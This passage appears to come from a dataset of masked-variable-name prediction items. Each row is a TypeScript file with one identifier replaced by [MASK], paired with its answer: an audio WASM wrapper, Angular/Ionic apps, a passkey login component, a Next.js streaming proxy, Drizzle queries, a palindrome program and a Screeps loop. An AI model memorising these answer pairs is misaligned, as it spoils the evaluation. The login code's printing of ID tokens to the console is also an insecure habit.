   * @param options Optional configuration arguments.
   * @param options.processErrorCallback User-defined callback invoked if any error happens
   * while processing the audio stream. Its only input argument is the error message.
   *
   * @returns An instance of the Koala engine.
   */
  public static async create(
    accessKey: string,
    processCallback: (enhancedPcm: Int16Array) => void,
    model: KoalaModel,
    options: KoalaOptions = {}
  ): Promise<Koala> {
    const customWritePath = model.customWritePath
      ? model.customWritePath
      : 'koala_model';
    const modelPath = await loadModel({ ...model, customWritePath });

    return Koala._init(accessKey, processCallback, modelPath, options);
  }

  public static async _init(
    accessKey: string,
    processCallback: (enhancedPcm: Int16Array) => void,
    modelPath: string,
    options: KoalaOptions = {}
  ): Promise<Koala> {
    const { processErrorCallback } = options;

    if (!isAccessKeyValid(accessKey)) {
      throw new KoalaErrors.KoalaInvalidArgumentError('Invalid AccessKey');
    }

    return new Promise<Koala>((resolve, reject) => {
      Koala._koalaMutex
        .runExclusive(async () => {
          const isSimd = await simd();
          const wasmOutput = await Koala.initWasm(
            accessKey.trim(),
            isSimd ? this._wasmSimd : this._wasm,
            modelPath
          );
          return new Koala(wasmOutput, processCallback, processErrorCallback);
        })
        .then((result: Koala) => {
          resolve(result);
        })
        .catch((error: any) => {
          reject(error);
        });
    });
  }

  /**
   * Processes a frame of audio. The required sample rate can be retrieved from '.sampleRate' and the length
   * of frame (number of audio samples per frame) can be retrieved from '.frameLength' The audio needs to be
   * 16-bit linearly-encoded. Furthermore, the engine operates on single-channel audio. Consecutive calls to
   * `.process()` must provide consecutive frames of audio from the same source, unless `.reset()` has been
   * called in between.
   *
   * @param pcm A frame of audio with properties described above.
   */
  public async process(pcm: Int16Array): Promise<void> {
    if (!(pcm instanceof Int16Array)) {
      const error = new KoalaErrors.KoalaInvalidArgumentError(
        ""The argument 'pcm' must be provided as an Int16Array""
      );
      if (this._processErrorCallback) {
        this._processErrorCallback(error);
      } else {
        // eslint-disable-next-line no-console
        console.error(error);
      }
    }

    if (pcm.length !== this.frameLength) {
      const error =
        new KoalaErrors.KoalaInvalidArgumentError(`Koala process requires frames of length ${this.frameLength}. 
        Received frame of size ${pcm.length}.`);
      if (this._processErrorCallback) {
        this._processErrorCallback(error);
      } else {
        // eslint-disable-next-line no-console
        console.error(error);
      }
    }

    this._processMutex
      .runExclusive(async () => {
        if (this._wasmMemory === undefined) {
          throw new KoalaErrors.KoalaInvalidStateError(
            'Attempted to call Koala process after release.'
          );
        }
        const memoryBuffer = new Int16Array(this._wasmMemory.buffer);

        memoryBuffer.set(
          pcm,
          this._inputBufferAddress / Int16Array.BYTES_PER_ELEMENT
        );

        const status = await this._pvKoalaProcess(
          this._objectAddress,
          this._inputBufferAddress,
          this._outputBufferAddress
        );

        if (status !== PvStatus.SUCCESS) {
          const memoryBufferUint8 = new Uint8Array(this._wasmMemory.buffer);
          const memoryBufferView = new DataView(this._wasmMemory.buffer);
          const messageStack = await Koala.getMessageStack(
            this._pvGetErrorStack,
            this._pvFreeErrorStack,
            this._messageStackAddressAddressAddress,
            this._messageStackDepthAddress,
            memoryBufferView,
            memoryBufferUint8
          );

          const error = pvStatusToException(
            status,
            'Process failed',
            messageStack
          );
          if (this._processErrorCallback) {
            this._processErrorCallback(error);
          } else {
            // eslint-disable-next-line no-console
            console.error(error);
          }
        }

        const output = memoryBuffer.slice(
          this._outputBufferAddress / Int16Array.BYTES_PER_ELEMENT,
          this._outputBufferAddress / Int16Array.BYTES_PER_ELEMENT +
            this.frameLength
        );

        this._processCallback(output);
      })
      .catch((error: any) => {
        if (this._processErrorCallback) {
          this._processErrorCallback(
            pvStatusToException(PvStatus.RUNTIME_ERROR, error.toString())
          );
        } else {
          // eslint-disable-next-line no-console
          console.error(error);
        }
      });
  }

  /**
   * Resets Koala into a state as if it had just been newly created.
   * Call this function in between calls to `process` that do not provide consecutive frames of audio.
   */
  public async reset(): Promise<void> {
    return new Promise((resolve, reject) => {
      this._processMutex
        .runExclusive(async () => {
          if (this._wasmMemory === undefined) {
            throw new KoalaErrors.KoalaInvalidStateError(
              'Attempted to call Koala reset after release.'
            );
          }

          const status = await this._pvKoalaReset(this._objectAddress);
          if (status !== PvStatus.SUCCESS) {
            const memoryBufferUint8 = new Uint8Array(this._wasmMemory.buffer);
            const memoryBufferView = new DataView(this._wasmMemory.buffer);
            const messageStack = await Koala.getMessageStack(
              this._pvGetErrorStack,
              this._pvFreeErrorStack,
              this._messageStackAddressAddressAddress,
              this._messageStackDepthAddress,
              memoryBufferView,
              memoryBufferUint8
            );

            throw pvStatusToException(status, 'Reset failed', messageStack);
          }
        })
        .then(() => {
          resolve();
        })
        .catch((error: any) => {
          reject(error);
        });
    });
  }

  /**
   * Releases resources acquired by WebAssembly module.
   */
  public async release(): Promise<void> {
    await this._pvKoalaDelete(this._objectAddress);
    await this._pvFree(this._inputBufferAddress);
    await this._pvFree(this._outputBufferAddress);
    await this._pvFree(this._messageStackAddressAddressAddress);
    await this._pvFree(this._messageStackDepthAddress);
    delete this._wasmMemory;
    this._wasmMemory = undefined;
  }

  async onmessage(e: MessageEvent): Promise<void> {
    switch (e.data.command) {
      case 'process':
        await this.process(e.data.inputFrame);
        break;
      default:
        // eslint-disable-next-line no-console
        console.warn(`Unrecognized command: ${e.data.command}`);
    }
  }

  private static async initWasm(
    accessKey: string,
    wasmBase64: string,
    modelPath: string
  ): Promise<KoalaWasmOutput> {
    // A WebAssembly page has a constant size of 64KiB. -> 1MiB ~= 16 pages
    const memory = new WebAssembly.Memory({ initial: 300 });

    const memoryBufferUint8 = new Uint8Array(memory.buffer);
    const memoryBufferView = new DataView(memory.buffer);

    const pvError = new PvError();

    const exports = await buildWasm(memory, wasmBase64, pvError);

    const aligned_alloc = exports.aligned_alloc as aligned_alloc_type;
    const pv_free = exports.pv_free as pv_free_type;
    const pv_koala_version = exports.pv_koala_version as pv_koala_version_type;
    const pv_koala_delay_sample =
      exports.pv_koala_delay_sample as pv_koala_delay_sample_type;
    const pv_koala_process = exports.pv_koala_process as pv_koala_process_type;
    const pv_koala_reset = exports.pv_koala_reset as pv_koala_reset_type;
    const pv_koala_delete = exports.pv_koala_delete as pv_koala_delete_type;
    const pv_koala_init = exports.pv_koala_init as pv_koala_init_type;
    const pv_status_to_string =
      exports.pv_status_to_string as pv_status_to_string_type;
    const pv_koala_frame_length =
      exports.pv_koala_frame_length as pv_koala_frame_length_type;
    const pv_sample_rate = exports.pv_sample_rate as pv_sample_rate_type;
    const pv_set_sdk = exports.pv_set_sdk as pv_set_sdk_type;
    const pv_get_error_stack =
      exports.pv_get_error_stack as pv_get_error_stack_type;
    const pv_free_error_stack =
      exports.pv_free_error_stack as pv_free_error_stack_type;

    const objectAddressAddress = await aligned_alloc(
      Int32Array.BYTES_PER_ELEMENT,
      Int32Array.BYTES_PER_ELEMENT
    );
    if (objectAddressAddress === 0) {
      throw new KoalaErrors.KoalaOutOfMemoryError(
        'malloc failed: Cannot allocate memory'
      );
    }

    const accessKeyAddress = await aligned_alloc(
      Uint8Array.BYTES_PER_ELEMENT,
      (accessKey.length + 1) * Uint8Array.BYTES_PER_ELEMENT
    );

    if (accessKeyAddress === 0) {
      throw new KoalaErrors.KoalaOutOfMemoryError(
        'malloc failed: Cannot allocate memory'
      );
    }

    for (let i = 0; i < accessKey.length; i++) {
      memoryBufferUint8[accessKeyAddress + i] = accessKey.charCodeAt(i);
    }
    memoryBufferUint8[accessKeyAddress + accessKey.length] = 0;

    const modelPathEncoded = new TextEncoder().encode(modelPath);
    const modelPathAddress = await aligned_alloc(
      Uint8Array.BYTES_PER_ELEMENT,
      (modelPathEncoded.length + 1) * Uint8Array.BYTES_PER_ELEMENT
    );

    if (modelPathAddress === 0) {
      throw new KoalaErrors.KoalaOutOfMemoryError(
        'malloc failed: Cannot allocate memory'
      );
    }

    memoryBufferUint8.set(modelPathEncoded, modelPathAddress);
    memoryBufferUint8[modelPathAddress + modelPathEncoded.length] = 0;

    const  [MASK]  = new TextEncoder().encode(this._sdk);
    const sdkAddress = await aligned_alloc(
      Uint8Array.BYTES_PER_ELEMENT,
      ( [MASK] .length + 1) * Uint8Array.BYTES_PER_ELEMENT
    );
    if (!sdkAddress) {
      throw new KoalaErrors.KoalaOutOfMemoryError(
        'malloc failed: Cannot allocate memory'
      );
    }
    memoryBufferUint8.set( [MASK] , sdkAddress);
    memoryBufferUint8[sdkAddress +  [MASK] .length] = 0;
    await pv_set_sdk(sdkAddress);

    const messageStackDepthAddress = await aligned_alloc(
      Int32Array.BYTES_PER_ELEMENT,
      Int32Array.BYTES_PER_ELEMENT
    );
    if (!messageStackDepthAddress) {
      throw new KoalaErrors.KoalaOutOfMemoryError(
        'malloc failed: Cannot allocate memory'
      );
    }

    const messageStackAddressAddressAddress = await aligned_alloc(
      Int32Array.BYTES_PER_ELEMENT,
      Int32Array.BYTES_PER_ELEMENT
    );
    if (!messageStackAddressAddressAddress) {
      throw new KoalaErrors.KoalaOutOfMemoryError(
        'malloc failed: Cannot allocate memory'
      );
    }

    let status = await pv_koala_init(
      accessKeyAddress,
      modelPathAddress,
      objectAddressAddress
    );

    await pv_free(accessKeyAddress);
    await pv_free(modelPathAddress);

    if (status !== PvStatus.SUCCESS) {
      const messageStack = await Koala.getMessageStack(
        pv_get_error_stack,
        pv_free_error_stack,
        messageStackAddressAddressAddress,
        messageStackDepthAddress,
        memoryBufferView,
        memoryBufferUint8
      );

      throw pvStatusToException(
        status,
        'Initialization failed',
        messageStack,
        pvError
      );
    }

    const objectAddress = memoryBufferView.getInt32(objectAddressAddress, true);

    const delaySampleAddress = await aligned_alloc(
      Int32Array.BYTES_PER_ELEMENT,
      Int32Array.BYTES_PER_ELEMENT
    );

    if (delaySampleAddress === 0) {
      throw new KoalaErrors.KoalaOutOfMemoryError(
        'malloc failed: Cannot allocate memory'
      );
    }

    status = await pv_koala_delay_sample(objectAddress, delaySampleAddress);
    if (status !== PV_STATUS_SUCCESS) {
      const messageStack = await Koala.getMessageStack(
        pv_get_error_stack,
        pv_free_error_stack,
        messageStackAddressAddressAddress,
        messageStackDepthAddress,
        memoryBufferView,
        memoryBufferUint8
      );

      throw pvStatusToException(
        status,
        'Get Koala delay samples failed',
        messageStack,
        pvError
      );
    }

    const delaySample = memoryBufferView.getInt32(delaySampleAddress, true);
    await pv_free(delaySampleAddress);

    const frameLength = await pv_koala_frame_length();
    const sampleRate = await pv_sample_rate();
    const versionAddress = await pv_koala_version();
    const version = arrayBufferToStringAtIndex(
      memoryBufferUint8,
      versionAddress
    );

    const inputBufferAddress = await aligned_alloc(
      Int16Array.BYTES_PER_ELEMENT,
      frameLength * Int16Array.BYTES_PER_ELEMENT
    );
    if (inputBufferAddress === 0) {
      throw new KoalaErrors.KoalaOutOfMemoryError(
        'malloc failed: Cannot allocate memory'
      );
    }

    const outputBufferAddress = await aligned_alloc(
      Int16Array.BYTES_PER_ELEMENT,
      frameLength * Int16Array.BYTES_PER_ELEMENT
    );
    if (outputBufferAddress === 0) {
      throw new KoalaErrors.KoalaOutOfMemoryError(
        'malloc failed: Cannot allocate memory'
      );
    }

    return {
      aligned_alloc,
      memory: memory,
      pvFree: pv_free,
      objectAddress: objectAddress,
      messageStackAddressAddressAddress: messageStackAddressAddressAddress,
      messageStackDepthAddress: messageStackDepthAddress,
      pvKoalaDelete: pv_koala_delete,
      pvKoalaProcess: pv_koala_process,
      pvKoalaReset: pv_koala_reset,
      pvStatusToString: pv_status_to_string,
      pvGetErrorStack: pv_get_error_stack,
      pvFreeErrorStack: pv_free_error_stack,
      delaySample: delaySample,
      frameLength: frameLength,
      sampleRate: sampleRate,
      version: version,
      inputBufferAddress: inputBufferAddress,
      outputBufferAddress: outputBufferAddress,
      pvError: pvError,
    };
  }

  private static async getMessageStack(
    pv_get_error_stack: pv_get_error_stack_type,
    pv_free_error_stack: pv_free_error_stack_type,
    messageStackAddressAddressAddress: number,
    messageStackDepthAddress: number,
    memoryBufferView: DataView,
    memoryBufferUint8: Uint8Array
  ): Promise<string[]> {
    const status = await pv_get_error_stack(
      messageStackAddressAddressAddress,
      messageStackDepthAddress
    );
    if (status !== PvStatus.SUCCESS) {
      throw pvStatusToException(status, 'Unable to get Koala error state');
    }

    const messageStackAddressAddress = memoryBufferView.getInt32(
      messageStackAddressAddressAddress,
      true
    );

    const messageStackDepth = memoryBufferView.getInt32(
      messageStackDepthAddress,
      true
    );
    const messageStack: string[] = [];
    for (let i = 0; i < messageStackDepth; i++) {
      const messageStackAddress = memoryBufferView.getInt32(
        messageStackAddressAddress + i * Int32Array.BYTES_PER_ELEMENT,
        true
      );
      const message = arrayBufferToStringAtIndex(
        memoryBufferUint8,
        messageStackAddress
      );
      messageStack.push(message);
    }

    await pv_free_error_stack(messageStackAddressAddress);

    return messageStack;
  }
}
",sdkEncoded
883,"import { Component, OnInit, ViewChild } from '@angular/core';
import { PokemonService } from '../services/pokemon.service';
import { IonInfiniteScroll } from '@ionic/angular';

@Component({
  selector: 'app-home',
  templateUrl: 'home.page.html',
  styleUrls: ['home.page.scss'],
})
export class HomePage implements OnInit{
  @ViewChild(IonInfiniteScroll, {static: false}) infinit: IonInfiniteScroll;
  offset = 0;
  pokemon = [];

  constructor(private pokeService: PokemonService) {}

  ngOnInit(){
    this.loadPokemon();
  }

  loadPokemon( [MASK]  = false, event?){
    if ( [MASK] ) {
      this.offset += 25;
    }

    this.pokeService.getPokemon(this.offset).subscribe( res => {
      console.log('result: ', res);
      this.pokemon = [...this.pokemon, ...res];

      if (event) {
        event.target.complete();
      }

      if (this.offset == 125) {
        this.infinit.disabled = true;
      }

    });
  }

  onSearchChange(e){
    let value = e.detail.value;

    if (value == '') {
      this.loadPokemon();
      return;
    }

    this.pokeService.findPokemon(value).subscribe(res => {
      this.pokemon = [res];
    }, err => {
      this.pokemon = [];
    });
  }
}
",loadMore
884,"import { Component, OnInit, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
import { Router } from '@angular/router';
import { AuthService } from '../../auth.service';
import { startAuthentication, startRegistration } from '@simplewebauthn/browser';
import { environment } from '../../../environments/environment';
import { Application } from '../../models/application';
declare const google: any;
declare const AppleID: any;

@Component({
  selector: 'app-login', 
  templateUrl: './login.component.html',
  styleUrl: './login.component.css'
})
export class LoginComponent implements OnInit, AfterViewInit { 
  isResetPasskey = false;
  isSetUsername = false;
  isLoading = false;
  application:any = {}
  userData: any = { 
    handle: '' 
  };
  error:string = ''
  message:string = ''
  ENV = environment
  googleAuth2: any;
  @ViewChild('loginRef', {static: true }) loginElement!: ElementRef;


  constructor(private router: Router, private authService: AuthService) {
   
  } 



  async ngOnInit() { 
    if(this.authService.user  && this.authService.user.appUserId ) { 
      this.router.navigate(['profile']);
    } 
  }



  async ngAfterViewInit() {
    
    this.application = await this.authService.getApplication();
    if(this.application.error){
      this.error = this.application.error.message
      return;
    }
    if(this.application.googleLoginEnabled){ 
      
      google.accounts.id.initialize({
        client_id: this.ENV.GOOGLE_CLIENT_ID,
        callback: (response: any) => this.handleGoogleSignIn(response)
      });

      google.accounts.id.renderButton(document.getElementById(""googleDiv""), {
        type: ""standard"",
        theme: ""filled_blue"",
        size: ""large"", 
        width:""200"",
        text: ""Sign in with Google"",
        shape: ""pill"",
      });

    }
    

    if (this.application.appleLoginEnabled) {
      AppleID.auth.init({
        clientId : this.ENV.APPLE_BUNDLE_ID,
        scope : 'email name',
        redirectURI : this.ENV.APPLE_REDIRECT_URI,
        state : 'SignInUserAuthenticationRequest',
        usePopup : true
      });

      // must use Arrow Function to access 'this' object
      document.addEventListener('AppleIDSignInOnSuccess', (event:any) => {
        console.log(""AppleIDSignInOnSuccess....event.detail ."", event.detail); 

        let authorization = event.detail.authorization;

        let user = event.detail.user;
        
        if(user && user.name){
          user.firstName = user.name.firstName;
          user.lastName = user.name.lastName;
        }  
        
        this.handleSocialLogin(authorization.id_token, ""apple"", user);
      })
      
      document.addEventListener('AppleIDSignInOnFailure',(event:any) => {
        console.log(""AppleIDSignInOnFailure....."", event.detail); 
        this.error = event.detail.error
      })

      
    }

  }


  handleGoogleSignIn(response: any) {
    console.log(response.credential);

    // This next is for decoding the idToken to an object if you want to see the details.
    let base64Url = response.credential.split('.')[1];
    let base64 = base64Url.replace(/-/g, '+').replace(/_/g, '/');
    let userPayload = decodeURIComponent(atob(base64).split('').map(function (c) {
      return '%' + ('00' + c.charCodeAt(0).toString(16)).slice(-2);
    }).join(''));

    console.log(""handleGoogleSignIn userPayload "" , JSON.parse(userPayload));
    let user = JSON.parse(userPayload);
    user.lastName = user.family_name;
    user.firstName = user.given_name;
    this.handleSocialLogin(response.credential, ""google"", user)

  } 

  async handleSocialLogin(token:String,  [MASK] :String, data:any ) { 
    this.error = ''
    this.isLoading = true;
     
    let result = await this.authService.socialLogin(token,  [MASK] );

    if(result.error && result.error.code == 603){

      if ( [MASK]  == 'apple' && (!data || !data.firstName)) {
        this.error = `Whoop! Invalid Sign up. Please remove AppDemo in 'Sign with Apple' from your icloud setting and try again.`;
        this.isLoading = false;
        return
      }
      else {
        console.log(""handleGoogleSignIn socialSignup data "" , data);
        result = await this.authService.socialSignup(token, data.email,  [MASK] , `${data.firstName} ${data.lastName}`);
      }
    } 
    this.isLoading = false; 

    if(result.error) 
      this.error = result.error.message;
    else 
      this.router.navigate(['profile']); 
  }

 

  updateFormData(event: any) {
    
    this.userData[event.target.name] = event.target.value
    //console.log({ userData: this.userData });
  }

  async loginAnonymousStart(){
    try { 
      this.message = ''
      this.error = ''

      this.isLoading = true;
      const authOptions:any = await this.authService.loginAnonymous();  
       
      if(authOptions.error) {
        this.error = authOptions.error.message; 
        this.isLoading = false;
        return;
      }
      let attestationResponse:any = await startRegistration({optionsJSON:authOptions}); 
      console.log(""loginAnonymousStart this.attestationResponse = "", attestationResponse);
      attestationResponse.handle = authOptions.user.handle;

      const verification:any = await this.authService.loginAnonymousComplete(attestationResponse);
      
      this.isLoading = false;

      if (verification.jwt) {
        
        this.router.navigate(['profile']);
      } else {
        this.error = verification.error.message
      }
    } catch (err:any) {
      this.error = err.message
    }
    finally{
      this.isLoading = false;
    }

  }

  async addPasskey() {
    try { 

      if (this.userData.token == """"){
        this.error = ""Please enter reset token"";
        return;
      }

      let data = {
        'access-token': this.userData.token
      };

      let authOptions = await this.authService.addPasskey(data);
      if(authOptions.error){
        this.error = (authOptions.error.message) 
        return;
      }
      let attestationResponse:any = await startRegistration({optionsJSON:authOptions});  
      attestationResponse['access-token'] = this.userData.token;

      const result:any = await this.authService.addPasskeyComplete(attestationResponse); 
      if (result.jwt) {
        alert(""Adding passkey is successful."") 
      } else {
        alert(result.error.message) 
      } 

    } catch (err:any) {
      console.log(err)
      this.error = err.message
    }
    finally{
      this.isLoading = false;
    }
  }

  async loginStart() {
    try { 

      if (this.userData.handle == """"){
        this.error = ""Please enter user handle"";
        return;
      }
      console.log(""loginStart this.userData "", this.userData);

      this.message = ''
      this.error = ''

      this.isLoading = true;

      const authOptions:any = await this.authService.login(this.userData);  

      if(authOptions.error) {
        this.error = authOptions.error.message; 
        this.isLoading = false;
        return;
      }
      else if (authOptions.requireAddPasskey) this.isResetPasskey = true;
      else {
        let assertionResponse:any = await startAuthentication({optionsJSON:authOptions});
        assertionResponse.handle = authOptions.user.handle;

        const loginResult:any = await this.authService.loginComplete(assertionResponse); 

        this.isLoading = false;

        if(loginResult.error)  this.error = loginResult.error.message;  
        else if(!loginResult.userName && this.application.userNamesEnabled) this.isSetUsername = true;
        else  this.router.navigate(['profile']); 
      }
    } catch (err:any) {
      this.error = err.message
    }
    finally{
      this.isLoading = false;
    }
  }


  async setUserNameHandler(){
    this.message = ''
    this.error = ''

    this.isLoading = true;

    const result:any = await this.authService.setUserName(this.userData);
    if(result.error) this.error = result.error.message
    else {
      this.router.navigate(['profile']);
    }

    this.isLoading = false;
  }
 
  
 


}
",provider
885,"import { NextRequest, NextResponse } from ""next/server"";

const BACKEND_URL = process.env.NEXT_PUBLIC_VALIDATE_BACKEND_URL || ""http://localhost:8000"";

export async function POST(request: NextRequest) {
  console.log(""🚨 USING ENHANCED ROUTE HANDLER - VERSION 2 🚨"");
  
  try {
    const body = await request.json();
    const { playbook_content, profile = 'production' } = body;

    if (!playbook_content || !playbook_content.trim()) {
      return NextResponse.json(
        { error: ""No playbook content provided"" },
        { status: 400 }
      );
    }

    // Use the correct working endpoint
    const streamingUrl = `${BACKEND_URL}/api/validate/playbook/stream`;
    console.log(""🔗 Connecting to validation service:"", streamingUrl);
    console.log(""📤 Request payload:"", { playbook_length: playbook_content.length, profile });

    try {
      const response = await fetch(streamingUrl, {
        method: ""POST"",
        headers: {
          ""Content-Type"": ""application/json"",
          ""Accept"": ""text/event-stream"",
        },
        body: JSON.stringify({
          playbook_content,
          profile,
        }),
        // Add timeout to prevent hanging
        signal: AbortSignal.timeout(120000), // 2 minute timeout
      });

      console.log(""📡 Backend response status:"", response.status);
      console.log(""📡 Backend response headers:"", Object.fromEntries(response.headers.entries()));

      if (!response.ok) {
        const errorText = await response.text();
        console.error(""❌ Backend validation error:"", errorText);
        
        return NextResponse.json({
          passed: false,
          summary: `Validation service error: ${response.status}`,
          issues: [],
          raw_output: errorText,
          error_message: `Backend validation error: ${response.status} - ${errorText}`,
          debug_info: {
            status: ""error"",
            error_code: response.status,
            playbook_length: playbook_content.length
          }
        }, { status: 200 });
      }

      const contentType = response.headers.get(""content-type"");
      
      // Handle direct JSON response (fallback)
      if (contentType?.includes(""application/json"")) {
        console.log(""📊 Received JSON response from streaming endpoint"");
        const data = await response.json();
        return NextResponse.json(data);
      }

      // Handle streaming response - the main path
      if (contentType?.includes(""text/event-stream"") || contentType?.includes(""text/plain"")) {
        console.log(""🌊 Handling streaming response..."");

        const stream = new ReadableStream({
          async start(controller) {
            const reader = response.body?.getReader();
            if (!reader) {
              controller.close();
              return;
            }

            const  [MASK]  = new TextDecoder();
            let buffer = '';

            try {
              while (true) {
                const { done, value } = await reader.read();
                
                if (done) {
                  console.log(""✅ Stream completed successfully"");
                  controller.close();
                  break;
                }
                
                if (!value) {
                  continue;
                }
                
                buffer +=  [MASK] .decode(value, { stream: true });
                
                // Process complete lines
                const lines = buffer.split('\n');
                buffer = lines.pop() || ''; // Keep incomplete line in buffer
                
                for (const line of lines) {
                  const trimmedLine = line.trim();
                  if (!trimmedLine) continue;
                  
                  try {
                    let data;
                    
                    // Handle SSE format
                    if (trimmedLine.startsWith('data: ')) {
                      const dataStr = trimmedLine.slice(6);
                      if (dataStr === '[DONE]') {
                        console.log(""🏁 Received [DONE] signal"");
                        controller.close();
                        return;
                      }
                      data = JSON.parse(dataStr);
                    } else {
                      // Try parsing as direct JSON
                      data = JSON.parse(trimmedLine);
                    }

                    // Forward the parsed data as SSE format
                    const sseData = `data: ${JSON.stringify(data)}\n\n`;
                    controller.enqueue(new TextEncoder().encode(sseData));
                    
                  } catch (parseError) {
                    console.warn(""⚠️ Failed to parse line:"", trimmedLine, parseError);
                    continue;
                  }
                }
              }
            } catch (error) {
              console.error(""❌ Stream reading error:"", error);
              controller.error(error);
            } finally {
              try {
                reader.releaseLock();
              } catch (lockError) {
                console.warn(""⚠️ Error releasing reader lock:"", lockError);
              }
            }
          }
        });

        return new NextResponse(stream, {
          headers: {
            ""Content-Type"": ""text/event-stream"",
            ""Cache-Control"": ""no-cache"",
            ""Connection"": ""keep-alive"",
            ""Access-Control-Allow-Origin"": ""*"",
            ""Access-Control-Allow-Methods"": ""GET, POST, OPTIONS"",
            ""Access-Control-Allow-Headers"": ""Content-Type"",
          },
        });
      }

      // Unexpected content type, try to handle as text
      const textResponse = await response.text();
      console.warn(""🤔 Unexpected content type, got text:"", textResponse.substring(0, 200));
      
      try {
        const jsonData = JSON.parse(textResponse);
        return NextResponse.json(jsonData);
      } catch {
        // If it's not JSON, treat as error
        throw new Error(`Unexpected response format: ${textResponse.substring(0, 100)}`);
      }

    } catch (fetchError) {
      console.error(""❌ Backend connection failed:"", fetchError);
      
      return NextResponse.json({
        passed: false,
        summary: ""Validation service unavailable"",
        issues: [],
        raw_output: `Service Error: ${fetchError instanceof Error ? fetchError.message : 'Unknown error'}`,
        error_message: ""Unable to connect to validation service. Please check if the backend is running."",
        debug_info: {
          status: ""service_unavailable"",
          playbook_length: playbook_content.length,
          error: ""Backend connection failed""
        }
      }, { status: 200 });
    }

  } catch (error) {
    console.error(""❌ Validation proxy error:"", error);
    return NextResponse.json(
      {
        error: ""Validation service unavailable"",
        detail: error instanceof Error ? error.message : ""Unknown error"",
        passed: false,
        issues: [],
        raw_output: """",
        debug_info: {
          error: ""Validation service error"",
          status: ""failed""
        }
      },
      { status: 500 }
    );
  }
}

// Handle OPTIONS requests for CORS
export async function OPTIONS(request: NextRequest) {
  return new NextResponse(null, {
    status: 200,
    headers: {
      ""Access-Control-Allow-Origin"": ""*"",
      ""Access-Control-Allow-Methods"": ""GET, POST, OPTIONS"",
      ""Access-Control-Allow-Headers"": ""Content-Type"",
    },
  });
}",decoder
886,"import { createClient } from '@libsql/client'
import { eq } from 'drizzle-orm'
import { drizzle } from 'drizzle-orm/libsql'

import * as schema from './schema'

const client = createClient({
  url: import.meta.env.TURSO_DB_URL,
  authToken: import.meta.env.TURSO_DB_AUTH_TOKEN,
})

export const db = drizzle(client, { schema })

// Type-safe query builders
export const queries = {
  getApprovedCategories: async () => {
    const result = await db
      .select({
        id: schema.categories.id,
        slug: schema.categories.slug,
        title: schema.categories.title,
        description: schema.categories.description,
        status: schema.categories.status,
        votes: schema.categories.votes,
        order: schema.categories.order,
        createdAt: schema.categories.createdAt,
        updatedAt: schema.categories.updatedAt,
        games: {
          id: schema.games.id,
          name: schema.games.name,
          slug: schema.games.slug,
          rawgId: schema.games.rawgId,
          backgroundImage: schema.games.backgroundImage,
        },
      })
      .from(schema.categories)
      .leftJoin(
        schema.categoryGames,
        eq(schema.categoryGames.categoryId, schema.categories.id)
      )
      .leftJoin(schema.games, eq(schema.games.id, schema.categoryGames.gameId))
      .where(eq(schema.categories.status, 'APPROVED'))

    // Group games by category
    const categoriesMap = new Map()
    result.forEach((row) => {
      if (!categoriesMap.has(row.id)) {
        categoriesMap.set(row.id, {
          ...row,
          games: [],
        })
      }
      if (row.games) {
        categoriesMap.get(row.id).games.push(row.games)
      }
    })

    return Array.from(categoriesMap.values())
  },

  createCategory: async (data: {
    title: string
    description: string
    featured: Array<{
      name: string
      rawgId: number
      slug: string
      backgroundImage?: string
    }>
  }) => {
    const categoryId = crypto.randomUUID()

    // First create or get the games
    const gameIds = await Promise.all(
      data.featured.map(async (game) => {
        const  [MASK]  = await db.query.games.findFirst({
          where: (games, { eq }) => eq(games.rawgId, game.rawgId),
        })

        if ( [MASK] ) return  [MASK] .id

        const gameId = crypto.randomUUID()
        await db.insert(games).values({
          id: gameId,
          name: game.name,
          slug: game.slug,
          rawgId: game.rawgId,
          backgroundImage: game.backgroundImage,
        })
        return gameId
      })
    )

    // Create the category
    await db.insert(categories).values({
      id: categoryId,
      title: data.title,
      description: data.description,
      slug: data.title.toLowerCase().replace(/\s+/g, '-'),
    })

    // Create the relationships
    await db.insert(categoryGames).values(
      gameIds.map((gameId) => ({
        categoryId,
        gameId,
      }))
    )

    return categoryId
  },
}
",existing
887,"/*
 * This is the Palindrome program
 *
 * @author  <NAME>
 * @version 1.0
 * @since   2024-05-17
 */

// This is the is Palindrome function
function isPalindrome(inputNumber: number): boolean {
  const reversed = reverseNumber(inputNumber)
  if (inputNumber === reversed) {
    return true
  } else {
    return false
  }
}


// This is the reverseNumber function
function reverseNumber(inputNumber: number): number {
  let reversedNumber = 0
  while (inputNumber > 0) {
    // Extract the last digit
    const digit = inputNumber % 10
    // Append it to the reversed number
    reversedNumber = reversedNumber * 10 + digit
    // Remove the last digit from the original number
    inputNumber = Math.floor(inputNumber / 10)
  }
  return reversedNumber
}

// This is the findDepth function
function findDepth(inputNumber: number,  [MASK] : number = 0): number {
  if (isPalindrome(inputNumber)) {
    return  [MASK] 
  } else {
    const reversedNumber = reverseNumber(inputNumber)
    const sum = inputNumber + reversedNumber
    return findDepth(sum,  [MASK]  + 1)
  }
}

// Loops through all the two-digit numbers to see if they are a palindrome
const startInt: number = 10
const finishInt: number = 99

for (let counter = startInt; counter <= finishInt; counter++) {
  let intDepth: number = findDepth(counter, 0)
  console.log(`Number: ${counter}, Depth: ${intDepth}`)
}

console.log(""\nDone."")
",currentDepth
888,"import {ErrorMapper} from ""utils/ErrorMapper"";
import {HarvestNearestSourceRole} from ""./roles/role.harvester"";
import {UpgraderRole} from ""./roles/role.upgrader"";
import {BuilderRole} from ""./roles/role.builder"";
import {Role} from ""./roles/RoleEnum"";

declare global {
  /*
    Example types, expand on these or remove them and add your own.
    Note: Values, properties defined here do no fully *exist* by this type definiton alone.
          You must also give them an implemention if you would like to use them. (ex. actually setting a `role` property in a Creeps memory)

    Types added in this `global` block are in an ambient, global context. This is needed because `main.ts` is a module file (uses import or export).
    Interfaces matching on name from @types/screeps will be merged. This is how you can extend the 'built-in' interfaces from @types/screeps.
  */

  // Memory extension samples
  interface Memory {
    uuid: number;
    log: any;
  }

  interface CreepMemory {
    role: string;
    room: string;
    working: boolean;
  }

  // Syntax for adding proprties to `global` (ex ""global.log"")
  namespace NodeJS {
    interface Global {
      log: any;
    }
  }
}

// When compiling TS to JS and bundling with rollup, the line numbers and file names in error messages change
// This utility uses source maps to get the line numbers and file names of the original, TS source code
export const loop = ErrorMapper.wrapLoop(() => {
  console.log(`Current game tick is ${Game.time}`);

  // Automatically delete memory of missing creeps
  for (const name in Memory.creeps) {
    if (!(name in Game.creeps)) {
      delete Memory.creeps[name];
    }
  }

  function EnsureMinimumCreeps(role: string, count: number) {
    let  [MASK]  = _.filter(Game.creeps, (creep) => creep.memory.role == role);
